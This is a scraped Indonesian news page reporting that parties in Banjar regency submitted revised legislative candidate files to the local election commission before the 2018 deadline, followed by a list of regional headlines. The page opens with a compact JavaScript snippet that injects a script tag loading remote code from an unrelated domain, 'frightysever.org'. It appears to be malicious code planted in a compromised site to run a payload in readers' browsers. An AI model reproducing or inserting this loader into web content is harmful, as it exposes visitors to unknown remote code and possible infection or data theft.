(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

KPU Banjar Diminta Tak Gamang Tetapkan DCS Caleg!


MARTAPURA, Sejumlah perwakilan parpol yang akan tarung dalam Pileg di Kabupaten Banjar telah menyerahkan berkas perbaikan bakal calon legislatif (Bacaleg), Selasa (31/7). Bahkan hingga Rabu (1/8) dini hari, kesibukan masih terlihat di KPU Banjar. Kini memasuki tahap penyusunan daftar calon sementara (DCS) caleg, Bawaslu Banjar minta KPU tidak ragu mencoret yang tak lengkap persyaratannya!

Ketua KPU Banjar Muhaimin S.Ag mengatakan, ramainya parpol ke kantornya dalam rangka menyerahkan berkas perbaikan. Dari hasil verifikasi pertama, KPU menyatakan banyak Bacaleg yang masih belum lengkap persyaratan administrasinya.

“Setiap partai mempunyai catatan masing-masing yang harus mereka lengkapi. Paling banyak dari sisi administrasi seperti SKCK yang belum ada, ijazah yang belum dilegalisir,” ujarnya.

Dari sebanyak 581 bacaleg, 25% belum melengkapi administrasi. Sebelumnya KPU Banjar telah memberikan kesempatan selama 10 hari untuk memperbaiki persyaratan-persyaratan tersebut hingga batas waktu yang ditentukan tanggal 31 Juli 2018.

Menurut Muhaimin,  tenggang waktu untuk melengkapi atau perbaikan berkas telah cukup panjang. Sehingga hal itu harus dimanfaatkan para bacaleg sebaik-baiknya. Jika sampai batas akhir tidak juga dilengkapi, maka terpaksa dicoret dari pencalonan. “Kami tetap layani hingga batas akhir malam ini yaitu pukul 24.00 Wita. Sesuai Peraturan KPU, namun apabila tidak lengkap berkas persyaratannya hingga waktu yang ditentukan maka akan dicoret,”tegasnya

Divisi Teknis Pencalonan KPU Kabupaten Banjar M Zain menambahkan, terhitung dari tanggal 22 sampai 31 Juli, merupakan masa perbaikan berkas. Hal ini sebagaimana peraturan Komisi Pemilihan Umum Republik Indonesia No 20 tahun 2018 adalah masa perbaikan daftar calon dan syarat calon serta pengajuan bakal calon pengganti anggota DPR, DPRD Provinsi dan DPRD Kabupaten/Kota.

“Pengajuan bakal calon oleh Partai Politik hanya dilakukan 1 (satu) kali pada masa pengajuan sebagaimana dimaksud, jadi diharapkan untuk benar-benar melengkapi pengajukan persyaratan tersebut,” jelasnya.

Menurut Zain, dalam tahapan tersebut jangan sampai ada parpol yang mengganti bacalegnya sebelum tahap Daftar Calon Sementara (DCS). Mengingat belum saatnya untuk melakukan pergantian. Penyusunan dan penatapan DCS akan dilaksanakan KPU Banjar pada tanggal 8-12 Agustus. Sedangkan untuk pengumuman akan dilakukan pada tanggal 12-14 Agustus.

“Pergantian bacaleg yang paling mungkin adalah pada masa DCS, dengan tiga persyaratan seperti tanggapan masyarakat tentang kelengkapan berkas pemalsuan dokumen yang sudah berketetapan hukum, meninggal dunia dan mengundurkan diri,” jelasnya.

Masih di tempat yang sama, Panwaslu Banjar kemarin terus mengawasi bergulirnya waktu penyerahan berkas perbaikan tersebut hingga batas waktu pukul 24.00 Wita. Ketua Bawaslu Banjar Ramliannoor berharap KPU Banjar bisa bersikap tegas sesuai dengan Peraturan KPU dan menutup masa perbaikan sesuai dengan yang sudah menjadi peraturan. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

DLH Banjarbaru Siapkan Antisipasi Sampah Jemaah Haul ke-20 Sekumpul

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More

5 jam ago

Cara Transaksi Lancar Saat Libur Natal 2024 dengan Layanan BRI

KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More

12 jam ago

Kakak Adik Edar Narkoba, 99 Gram Sabu dan Ekstasi Disita

KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More

12 jam ago

Ikhtiar Jaga Keandalan Listrik Nataru, PLN Doa Bersama Serentak se Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More

13 jam ago

Wamen BUMN Cek Kesiapan SPKLU PLN Layani Kebutuhan Nataru

KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More

14 jam ago

Diduga Sakit, Jasad Satpam Didapati Tak Bernyawa di Depan Bapelkes

KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More

14 jam ago

This website uses cookies.